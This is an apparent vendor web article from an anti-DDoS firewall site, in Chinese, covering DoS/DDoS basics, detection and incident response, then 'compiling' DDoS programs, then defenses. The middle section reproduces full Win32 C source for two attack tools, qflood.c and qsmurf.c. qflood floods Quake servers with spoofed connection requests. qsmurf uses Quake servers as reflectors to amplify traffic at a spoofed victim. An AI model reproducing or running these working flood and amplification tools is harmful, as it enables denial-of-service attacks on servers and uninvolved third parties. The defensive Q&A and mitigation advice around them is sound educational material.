关于冰盾 | 使用条款 | 网站地图
 
DDos基础,编译,防范
DDos基础,编译,防范
作者:冰盾防火墙 网站:www.bingdun.com 日期:2008-05-08
 

1,DDos 基础概念

       什么是DoS?什么是DDoS?它们的危害是什么?怎样有效预防它们?
       我想这是每一个网络管理人员都关心的问题。
            下面,我就以问答的形式,从DoS的概念、行为以及预防手段几个方面详细地论述DoS攻防。

       提问:何为拒绝服务攻击?
       回答:DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,
其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。
连通性攻击指用大量的连接请求冲击计算机,使得所有可用的xx作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。
例如,2000年2月6日那个星期对Yahoo网站发生的主要是带宽攻击。

       提问:何为分布式拒绝服务攻击?
       回答:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,
将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。
通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,
代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,
主控程序能在几秒钟内激活成百上千次代理程序的运行。

       提问:DDoS攻击怎样影响Web站点?
当对一个Web站点执行 DDoS 攻击时,这个站点的一个或多个Web服务会接到非常多的请求,
最终使它无法再正常使用。在一个DDoS攻击期间,如果有一个不知情的用户发出了正常的页面请求,
这个请求会完全失败,或者是页面下载速度变得极其缓慢,看起来就是站点无法使用。
典型的DDoS攻击利用许多计算机同时对目标站点发出成千上万个请求。为了避免被追踪,
攻击者会闯进网上的一些无保护的计算机内,在这些计算机上藏匿DDoS程序,
将它们作为同谋和跳板,最后联合起来发动匿名攻击。


       提问:有没有远离DDoS攻击危险的快速而简便的方法?
       回答:没有。但是有一个简单的基本原则:防止计算机被黑客劫持后成为攻击的平台,
这样就在攻击发生前将问题彻底排除了。
攻击者很喜欢把非商业计算机作为攻击平台,因为这些计算机更容易被攻陷。
比如,大学系统经常是攻击者选择的目标,因为它们经常是人手不足
,或者是为了便于学生使用而将安全设置到最低等级。但这并不是一个国家的问题,
世界上任何一个Internet服务器都可用被用来作为攻击的平台。
所以,我们必须"团结成一个整体",通过全球合作来保护Internet。
最起码要从自己做起,检查自己的上网计算机,确保它们不会成为DDoS的攻击平台。
这不仅仅是为了做一个Internet好公民,更是为在发生了DDoS 攻击时,
有证据能表明:我的计算机是无罪的。

       提问:政府能对防范DoS攻击起很大的作用吗?
       回答:毫无疑问,政府通过在Internet 上施加多种限制规定,
就能极大地控制DoS类型的攻击,至少是那些来自本国的攻击。
例如,可以对上网要求相当于驾驶执照那样的许可证,对站点要求相当于"工商许可"的许可证,
对所有的 ISP进行严格规范,就象对许多公共设施(如水、气等)的要求一样。
但是请注意:限制犯罪活动和限制经济增长、教育、信息资源以及一般人身自由之间只是一线之隔,
政府对此很难掌握,因此许多政府正在寻求一些非干预性的方法。
例如,美国前总统Clinton曾提出在大学毕业生中发展一个信息安全计算机联合会,
培养所谓"计算机警察",以反抗DDoS和其它类型的计算机犯罪。

       提问:如何检测我的服务器是否存在DDoS攻击程序?
要检测DDoS攻击程序的存在,可以有2种方法:

1、通常,我们可以使用文件系统扫描工具来确定在服务器文件系统上是否存在已知的DDoS攻击程序。
同病毒软件一样,每当有新的DDoS发明出来,当前的DDoS工具就将过时,
或者它对现存的DDoS进行修改而避开检查。
所以,要选择最近更新的扫描工具才能检测到最新的DDoS攻击程序。
FBI提供了一个工具叫做"find_ddos",用于检测一些已知的拒绝服务工具,
包括trinoo进程、trinoo主人、加强的tfn进程、tfn客户程序、tfn2k客户程序和tfn-rush客户程序。
Find_ddos可以从以下地址下载:
http://www.jintaigroup.com.cn/index2/refuse/n2.htm
请注意,FBI的这个工具并不能保证捕获所有的DDoS工具。如果侵入者安装了一个根文件包,那么find_ddos程序就有可能无法处理它。
另外,http://www.nessus.org站点也提供一个免费的扫描工具。当然还有一些商务工具也可以使用。

2、还可使用手工方法对起源于本地网络中的DDoS活动进行双重检查。

在Web服务器与Internet或者上游ISP连接之间的防火墙上建立一个滤波器,
以寻找spoofed (哄骗)信息包,也就是那些不是从你自己的网络上生成的信息包。
这就是所谓的出口过滤。如果在你的网络上正在生成spoofed信息包,
那么这很可能是一个DDoS程序生成的。然后跟踪这些spoofed信息的源头,将计算机离线开始清理工作。
屏蔽经常受到远程控制而受到威胁的端口,比如37337。
为了对所有的变化都进行研究并采取相应的措施,
建议使用nmap 或saint这样的工具经常对网络的开放端口进行扫描。
Nmap,即Network Mapper,是Linux下的网络扫描和嗅探工具包,
它不仅可以帮助网管人员深入探测UDP或TCP端口,直至主机所使用的xx作系统,
还可以将所有探测结果记录到各种格式的日志中,
为系统安全服务。Info World这样评价Nmap:
如果你的目的是在40000英尺高度上看看你的网络,
那基于Windows的端口扫描工具就足够了,但是如果你真的关心你的网络安全,
并努力想找到那些可能被侵入者发现的系统漏洞,
那你最好花点时间去安装并使用一个Linux工具--Nmap。
SAINT是一个基于SATAN的安全评估工具,
它能定期认证并扫描所有远程可探测漏洞,
包括以下特点:防火墙扫描,从CERT&CIAC的公告来更新安全检查,
严厉的4级(红、黄、褐、绿)警告和一个有很多HTML特点的界面。

       提问:如果在服务器上发现了一个 DDoS主机程序应该怎么办?
       回答:如果在系统上出现了特洛伊木马程序,就表明系统上有一个弱点被人利用了。
在系统上可能已经发生了一些细微或不那么细微的变化,
虽然系统可能还没有表现出外在的问题,但不能因此而放松警惕。
执行你的组织中的应急反应策略。如果现在还没有这样的策略,那么至少要执行以下这些应急步骤:
从有疑点的第一个事件开始,按照危害的严重程度,把一切都写下来。从技术上和法律上,这都是很有帮助的。
不要对外散布关于你的组织所受到的威胁的消息。这不会有任何帮助,而且还会让媒体卷进来。
你只需要通知那些能帮助你解决这些问题的人,以及组织的管理人员和法律人士。
向你的组织中最权威的安全专家求助。如果没有这样的人,可以向咨询公司寻求帮助,
这些公司对你正在运行的xx作系统和系统软件应急处理方面的问题是很有经验的。
从网络上把受到威胁的计算机移走,最简单也最彻底的方法就是拔掉网线。
如果这个计算机的作用很关键,那么就要配置一个热备份机器。如果没有热备份机器,那么就要停工喽。
要对受到威胁的计算机的文件系统进行备份。
在备份之前,要把xx作系统管理的所有动态数据表都转换成标准文件,
以便以后进行分析。例如,当前正在执行的程序列表、当前登录用户、
当前网络连接。为了更加保险,建议使用两种不同的备份程序做两个系统备份。
关掉受到威胁的计算机。
重新启动计算机。
重新格式化系统软件使用的驱动器。
重新安装xx作系统。
安装xx作系统的所有补丁程序包。
恢复文件系统。不要覆盖任何系统文件,恢复之前手动检测所有的口令。
把计算机重新连入网络。
检测网络上的其它计算机,看看别处有没有被利用的弱点。

       提问:如何防止服务器被当做DDoS主机?

       回答:建议采取如下步骤:
1、首先要充分认识和理解Internet服务器上存在的弱点:

除非是已经采取了特殊措施,Internet服务器都有主机名和IP地址,
Internet上的任何人都能很容易地查找到这些信息。
许多组织都不把防火墙放在Internet服务器之前,这样即使是防火墙能够轻易阻止的探测和攻击也无法阻挡。
默认状态下,服务器监听来自标准端口的服务请求,并很自然地试图处理这些请求。
服务器本来就是要在无人照料的情况下运行的,所有一般不会有一个用户现身来寻找不正常的动作。
服务器还经常需要远程管理,因此它们要接受来自用户的远程连接,这些用户通常具有非常强大的权限。
许多服务器都会在关机之后自动重新启动,而这正是那些攻击者在利用它的时候所希望的。

2、如果系统已经受到了威胁,立即备份文件系统,然后重新安装xx作系统并恢复文件系统。

3、安装软件产商提供的xx作系统升级程序。如果升级程序是与系统安全相关的,那在安装的时候尤其要注意。

4、对服务器进行保护。
关闭所有不必要的系统服务。xx作系统所提供的许多服务并不是Web服务器所需要的,例如基于RPC的服务。要采取"先拒绝,再允许"的策略。除非这个服务是完全必要的,就先将其关闭。
首先要确定哪些基于程序的服务可以关闭,如FTP、 telnet等。在文件系统中,这些服务很容易找到,都是可执行程序。
很多系统都曾受到缓冲区溢出漏洞的威胁。
检测xx作系统文档,看看它是否在内核级提供了以不可视的单独程序形式存在的服务。例如,netmask服务就可以在内核级运行。这种情况下,首先确定可以设置哪些参数,然后关闭不必要的内核级服务。
联系xx作系统供应商,看看是否还有其它内核级服务不在系统文档内,如果有的话,就应该禁止它们。
一旦将所有这些不必要的服务都禁止之后,要对整个系统作一个加密校验和xx作,以备今后出现疑点时使用。对于基于UNIX的系统,Tripwire能够完成这个功能,详细资料请参阅:http://www.tripwiresecurity.com/
http://www.cert.org/security-improvement/practices/p043.html有关于加密检验和的详细信息。
配置Web服务器软件。首先要验证已经安装了最新版本的Web 服务器软件。其次,关闭Web 服务器软件所提供的所有不必要服务,比如关闭不是必须的Java支持、CGI支持和服务器端脚本支持。
限制对服务器的物理访问。要采取适当行动,确保服务器只能被指定的系统管理员访问。如果侵入者能够对服务器进行物理访问的话,只需一张软盘就能打败全世界的安全保卫措施。
      
2,DDos 程序编译
qflood.c
qflood.exe(附源码)

/*
  qflood.c - Written by Andy Gavin (_k3nny@Efnet, k@EnterTheGame)
  UDP spoofing idea taken from "arnudp" by Arny ([email protected])
  Original idea discussed on Bugtraq in 1998.

  This program will fill up a Quake server with spoofed
"unconnected" clients, disallowing other players the
ability to connect to the server since the player limit
fills up quickly.  Additionally, if the server does not
support multiple clients from the same IP address, it will
disconnect legitimate players if the spoofed connection
request matches that player.

  Compiled on linux 2.2.19 with gcc 2.91.
  Tested to work on all NetQuake servers.
  Vendor status: Not contacted, since id Software has long
abandoned Quake.

  Andy Gavin is not responsible for what you do with this
program.  This is  meant for testing purposes only.

  Greets:
  - Karen;
  - Parents, Tim, Erica, and my dog;
  - insyder, mechtoad, def, ap0k, informer, scythe, zer0v,
fain, and the rest of #clanchat on Efnet;
  - deek, cha0ticz, schmorky, Ir8Pir8, redmund, vise,
_nuclear_, and the rest of #prediction on EnterTheGame;
  - Joe W, Brian L (good luck...and we'll miss you), and the
rest of the crew at work;
  - Steve Yzerman
  - Led Zeppelin, Pearl Jam, Radiohead, and Hum
*/

//---------------------------------------------------------------------------
#pragma hdrstop

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>

#include <ctype.h>
#include <errno.h>
//#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
//#include <unistd.h>
//#include <arpa/inet.h>
//#include <netinet/in.h>
//#include <netinet/in_systm.h>
//#include <netinet/ip.h>
//#include <netinet/udp.h>
//#include <sys/socket.h>
#include <sys/types.h>

#pragma comment(lib, "ws2_32.lib")

//---------------------------------------------------------------------------
#pragma argsused

struct sockaddr sa;
struct node
{
  char *address;
  struct node *next;
};

struct node *head = NULL;
struct node *tail;

void add_address( struct node **, char * );
void sig_handler( int );

int main( int argc, char **argv )
{
  int x = 1;
  int source_port, delay, fd;
  struct sockaddr_in *p;
  struct hostent *he;
  struct node *current;
  char *temp;

  u_char thePACKET[41]=
  {
    0x45,                       /* IP version, header len */
    0x00,                       /* IP diff services field */
    0x00, 0x29,                 /* IP total length */
    0xc2, 0xb5,                 /* IP id */
    0x00, 0x00,                 /* IP fragment offset */
    0x80,                       /* IP TTL */
    0x11,                       /* IP protocol */
    0, 0,                       /* IP header checksum */
    0, 0, 0, 0,                 /* IP src */
    0, 0, 0, 0,                 /* IP dest */
    0x00, 0x00,                 /* UDP src port */
    0, 0,                       /* UDP dest port */
    0x00, 0x15,                 /* length = 21 */
    0x00, 0x00,                 /* UDP checksum */
    0x80, 0x00,                 /* Quake flags */
    0x00, 0x0d,                 /* Quake length */
    0x01,                       /* Quake command = connect */
    0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
    0x45, 0x00,
    0x03, 0x01                  /* Quake version = 3 */
  };
  WSADATA wsaData;

  if( argc != 5 )
  {
    fprintf( stderr, "\nqflood - floods Quake servers with spoofed connection requests\n" );
    fprintf( stderr, "\tWritten by Andy Gavin (_k3nny@Efnet, k@ETG)\n" );
    fprintf( stderr, "\tTranslated into Win32 Version by shadowstar (http://shadowstar.126.com/)\n" );
    fprintf( stderr, "\tUsage: %s <src> <server> <server_port> <delay>\n", *argv );
    fprintf( stderr, "\t\tsrc = comma-delimited list of IPs/hostnames\n" );
    fprintf( stderr, "\t\tserver = Quake server IP/hostname\n" );
    fprintf( stderr, "\t\tserver_port = Quake server port\n" );
    fprintf( stderr, "\t\tdelay = delay between connection requests (in msec)\n" );
    fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 500\n\n", argv[0] );
    exit( 0 );
  }

  WSAStartup(MAKEWORD(2, 2), &wsaData);
 
  srand( time( NULL ));
  delay = atoi( argv[4] );

  /* build a linked list of addresses entered on command line */
  temp = strtok( argv[1], "," );
  add_address( &head, temp );

  signal( SIGINT, sig_handler );

  tail = head;

  temp = strtok( NULL, "," );
  while( temp != NULL )
  {
    add_address( &(tail->next), temp );
    tail = tail->next;
    temp = strtok( NULL, "," );
  }

  current = head;

  while( 1 )
  {
    while( current != NULL )
    {
      if( ( he = gethostbyname( current->address )) == NULL )
      {
        fprintf( stderr, "Can't resolve src\n" );
        exit( 0 );
      }

      memcpy( ( thePACKET + 12 ), *( he->h_addr_list ), 4 );

      if( ( he = gethostbyname( argv[2]) ) == NULL )
      {
        fprintf( stderr, "Can't resolve server\n");
        exit( 0 );
      }

      memcpy( ( thePACKET + 16 ), *( he->h_addr_list ), 4 );

      source_port = rand() % 3976 + 1024;

      *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
      *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));

      p = ( struct sockaddr_in* ) &sa;
      p->sin_family = AF_INET;
      memcpy( &(p->sin_addr), *( he->h_addr_list ), sizeof( struct in_addr ) );

      if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
      {
        perror( "Can't create raw socket (you must run as root)" );
        exit( 0 );
      }

      if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
      {
        perror( "setsockopt IP_HDRINCL error" );
        exit( 0 );
      }

      if(( sendto( fd, thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
      {
        perror( "sendto error" );
        exit( 0 );
      }

      printf( "Quake connection request sent from %s:%i to %s:%s\n", current->address, source_port, argv[2], argv[3] );

      Sleep( delay );
      current = current->next;
    }
    current = head;
  }
  WSACleanup();
  exit ( 1 );
}

void add_address( struct node** reference, char *data )
{
  struct node* new_node = malloc( sizeof( struct node ));

  new_node->address = data;
  new_node->next = *reference;
  *reference = new_node;
}

void sig_handler( int number )
{
  struct node *current = head;
  struct node *next;

  printf( "\nCaught SIGINT.  Cleaning up memory..." );
  while( current != NULL )
  {
    next = current->next;
    free( current );
    current = next;
  }
  printf( "done.\n\n" );
  exit( 1 );
}

对Quake server进行Flood攻击,
把Andy Gavin (_k3nny@Efnet, k@EnterTheGame)写的linux下的程序移植到Win32平台下

qsmurf.c
qsmurf.exe(附源码)

/*
  qsmurf.c
  Written by Jamal Motsa (Haul@EFnet), based on qflood.c by Andy Gavin (_k3nny@EFnet, k@ETG)
  Look at his original post for the original credits.
  The anti-script kiddie file descriptor bug has been removed and the code was cleaned up a lot.

  This works based on the fact that when a Quake client connects to a Quake server, much more data
  is received by the client than is sent.  This program will spoof connections from a target (source
  IP Address) to NetQuake servers, which will reply to the target with lots of data with an
  amplification rate approaching 20:1.

  Greets to:
  Sean Stanek (vulture@EFnet) for doing most of the code optimization.
  SFS, WHHS, Marlboro, the Shao Lin
  Lithium Node and channel regulars, TPC, X-Tommy, the defunct #BrainFreze Jeff, NEO, Kwizatz@RURC
  Sang, zuez, dead-sexy.com and crew, #phear on EFnet, AY, Eric R. for providing me with DNS

  And a big middle finger to:
  BTA (for being quite possibly the worse Quake 3 clan in history)
  anyone who packets EFnet servers
  and finally, to whoever framed OJ
*/
#include <WINSOCK2.H>
#include <WS2TCPIP.H>

#include <ctype.h>
#include <errno.h>
//#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
//#include <unistd.h>
//#include <arpa/inet.h>
//#include <netinet/in.h>
//#include <netinet/in_systm.h>
//#include <netinet/ip.h>
//#include <netinet/udp.h>
//#include <sys/socket.h>
#include <sys/types.h>

#pragma comment(lib, "ws2_32.lib")

struct sockaddr sa;
struct node
{
  char *address;
  struct node *next;
  unsigned int ip;
};

struct node *head = NULL;
struct node *tail;

void add_address( struct node **, char * );
void sig_handler( int );

int main( int argc, char **argv )
{
  int x = 1;
  int source_port, delay, fd;
  unsigned int ip;
  struct sockaddr_in *p;
  struct hostent *he;
  struct node *current;
  char *temp;

  u_char thePACKET[41]=
  {
    0x45,                       /* IP version, header len */
    0x00,                       /* IP diff services field */
    0x00, 0x29,                 /* IP total length */
    0xc2, 0xb5,                 /* IP id */
    0x00, 0x00,                 /* IP fragment offset */
    0x80,                       /* IP TTL */
    0x11,                       /* IP protocol */
    0, 0,                       /* IP header checksum */
    0, 0, 0, 0,                 /* IP src */
    0, 0, 0, 0,                 /* IP dest */
    0x00, 0x00,                 /* UDP src port */
    0, 0,                       /* UDP dest port */
    0x00, 0x15,                 /* length = 21 */
    0x00, 0x00,                 /* UDP checksum */
    0x80, 0x00,                 /* Quake flags */
    0x00, 0x0d,                 /* Quake length */
    0x01,                       /* Quake command = connect */
    0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
    0x45, 0x00,
    0x03, 0x01                  /* Quake version = 3 */
  };
  WSADATA wsaData;

  if( argc != 5 )
  {
    fprintf( stderr, "\nqsmurf - floods targets with amplified UDP packets using the NetQuake protocol\n" );
    fprintf( stderr, "\tWritten by Jamal Motsa (Haul@EFnet)\n" );
fprintf( stderr, "\tTranlated into Win32 Version by shadowstar (http://shadowstar.126.com/)\n" );
    fprintf( stderr, "\tUsage: %s <servers> <src> <server_port> <delay>\n", *argv );
    fprintf( stderr, "\t\tservers = comma-delimited list of IP Address/hostnames of Quake servers\n" );
    fprintf( stderr, "\t\tsrc = IP Address/hostname of target\n" );
    fprintf( stderr, "\t\tserver_port = Quake server port\n" );
    fprintf( stderr, "\t\tdelay = delay between connection requests (in msec, 0 for no delay)\n" );
    fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 50000\n\n", argv[0] );
    exit( 0 );
  }

  WSAStartup(MAKEWORD(2, 2), &wsaData);

  srand( time( NULL ));
  delay = atoi( argv[4] );

  /* build a linked list of addresses entered on command line */
  temp = strtok( argv[1], "," );
  add_address( &head, temp );

  signal( SIGINT, sig_handler );

  tail = head;

  temp = strtok( NULL, "," );
  while( temp != NULL )
  {
    add_address( &(tail->next), temp );
    tail = tail->next;
    temp = strtok( NULL, "," );
  }

  current = head;

  if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
  {
    perror( "Can't create raw socket (you must run as root)" );
    exit( 0 );
  }

  if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
  {
    perror( "setsockopt IP_HDRINCL error" );
    exit( 0 );
  }

  if( ( he = gethostbyname( argv[2]) ) == NULL )
  {
    fprintf( stderr, "Can't resolve src\n" );
    exit( 0 );
  }

  memcpy( &ip, *( he->h_addr_list ), 4 );


  while( 1 )
  {
    while( current != NULL )
    {
      memcpy( ( thePACKET + 16 ), &ip, 4 );
      memcpy( ( thePACKET + 16 ), &(current->ip), 4 );

      source_port = rand() % 3976 + 1024;

      *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
      *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));

      p = ( struct sockaddr_in* ) &sa;
      p->sin_family = AF_INET;
      memcpy( &(p->sin_addr), &current->ip, 4 );

      if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
      {
        perror( "sendto error" );
        exit( 0 );
      }

      printf( "Quake connection request sent from %s:%i to %s:%s\n", argv[2], source_port, current->address, argv[3] );

      if( delay > 0 ) Sleep( delay );
      current = current->next;
    }
    current = head;
  }
  WSACleanup();
  exit( 1 );
}

void add_address( struct node** reference, char *data )
{
  struct hostent * he;
  struct node* new_node = malloc( sizeof( struct node ));

  new_node->address = data;
  new_node->next = *reference;

  if( ( he = gethostbyname( new_node->address )) == NULL )
  {
    fprintf( stderr, "Can't resolve server\n");
    exit( 0 );
  }
  memcpy( &(new_node->ip),  *( he->h_addr_list ),4 );

  *reference = new_node;
}

void sig_handler( int number )
{
  struct node *current = head;
  struct node *next;

  printf( "\nCaught SIGINT.  Cleaning up memory..." );
  while( current != NULL )
  {
    next = current->next;
    free( current );
    current = next;
  }
  printf( "done.\n\n" );
  exit( 1 );
}

用Quake server作为反射板进行DDoS攻击,
把Jamal Motsa (Haul@EFnet)写的linux下的程序移植到Win32平台下

3,DDos 防范
1,增加带宽
给服务器增加带宽。

2,丢弃数据包:
改变数据流的传送方向,将其丢弃在一个数据“黑洞”中,
以阻止所有的数据流。这种方法的缺点是所有的数据流(不管是合法的还是非法的)都被丢弃,
业务应用被中止。数据包过滤和速率限制等措施同样能够关闭所有应用,拒绝为合法用户提供接入。

3,路由器和防火墙:
通过配置路由器过滤不必要的协议,既能阻止简单的ping攻击,
还能阻止无效的IP地址。
不过,路由器通常不能有效阻止更复杂的嗅探攻击和使用有效IP地址发起的应用级攻击。
防火墙可以阻挡与攻击相关的特定数据流,不过与路由器一样,防火墙不具备反嗅探功能。

4,入侵检测系统(IDS):
IDS能够进行异常检测,可以发现协议被用作攻击载体的安全事件。
IDS与防火墙配合使用,能够自动阻止数据流。不过IDS不能自动配置,
需要安全专家进行手工调整,而且常常会生成假报警。

5,服务器:
正确配置服务器应用,对于减少DDoS攻击至关重要。
管理人员可以定义应用可以使用哪些资源以及如何响应来自客户机的请求,
来防范DDoS。与反DDoS专用设备配合使用,优化设置的服务器能够在发生DDoS攻击时正常运行。

6,反DDoS专用设备:
反DDoS专用设备可以分为两类,
一类是专门用于清除有害数据流的设备,

另一类是具有反DDoS功能的安全设备 (如负载均衡或防火墙)。
这两类设备具有不同的效力,前者会将非法数据流丢弃,
后者会将包括非法数据流在内的所有数据流分别传送到不同的冗余服务器上,
而不是某一台服务器,这就要求服务器必须足够健壮,
能够过滤非法数据流,继续为合法的客户机提供服务。

购买服务:
选择外包服务提供商使用户不必投入巨资购买冗余网络设备。
在很多时候,用户事先并不知道DDoS攻击正在发生,DDoS攻击的性质常常在中途改变,
这就要求用户在几个小时或几天中迅速而持续地做出反应,
由于多数攻击的主要影响是消耗Internet带宽,
因此选择一家优秀的服务提供商对于化解DDoS攻击具有重要意义。

 

 
最新内容:
安装和升级冰盾防火墙需要注意的问题[2006-02-08]
购买冰盾抗DDOS防火墙的十大理由[2005-09-09]
基于ARP欺骗的TCP伪连接D.o.S[2008-05-08]
深度解析我国僵尸网络的现状与趋势(三)[2008-05-06]
深度解析我国僵尸网络的现状与趋势(二)[2008-05-06]
深度解析我国僵尸网络的现状与趋势(一)[2008-05-06]
相关内容:
购买冰盾抗DDOS防火墙的十大理由[2005-09-09]
修改注册表提高Windows2000抗DDOS能力[2008-05-04]
黑客很狡猾 如何减轻DDoS攻击危害[2008-05-04]
谈黑客和DDOS攻击防御[2008-04-30]
防范DDoS攻击 七种IP拥塞控制算法需改进[2008-04-30]
路由器上防止分布式拒绝服务(DDoS)攻击[2008-04-29]

合作伙伴: 黑基网 补天科技 威盾科技 站长下载 新飞金信 北京电信 ZOL应用下载
中华人民共和国增值电信业务经营许可证京ICP备14024464 公安备案号 京1081234 
版权所有©2003-2014 冰盾防火墙  www.BingDun.com 法律声明
总机:(010)51661195